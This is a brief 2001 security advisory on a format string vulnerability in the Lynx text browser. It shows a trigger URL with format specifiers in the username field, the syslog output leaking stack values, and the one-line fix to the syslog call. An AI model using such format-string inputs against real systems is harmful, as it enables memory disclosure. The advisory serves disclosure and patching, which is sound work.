Format String Vulnerablity in Lynx
CVE ID(s):
CVE-none
Notified: 2001-12-27
Description:
Lynx is a text browser for the World Wide Web
Exploit:
The following url triggers the bug: [larryc@harod ~ $] lynx http://lwc%d%d:hsVd632k@vapid.dhs.org/bleh:80 Results in the following logged to syslog. Dec 25 23:11:00 vapid lynx[5160]: http://lwc-1077939384134744128:******@vapid.dhs.org/bleh:80 Fix line 7995: --syslog (LOG_INFO|LOG_LOCAL5, buf); +syslog (LOG_INFO|LOG_LOCAL5,"%s", buf);
Notes:
97554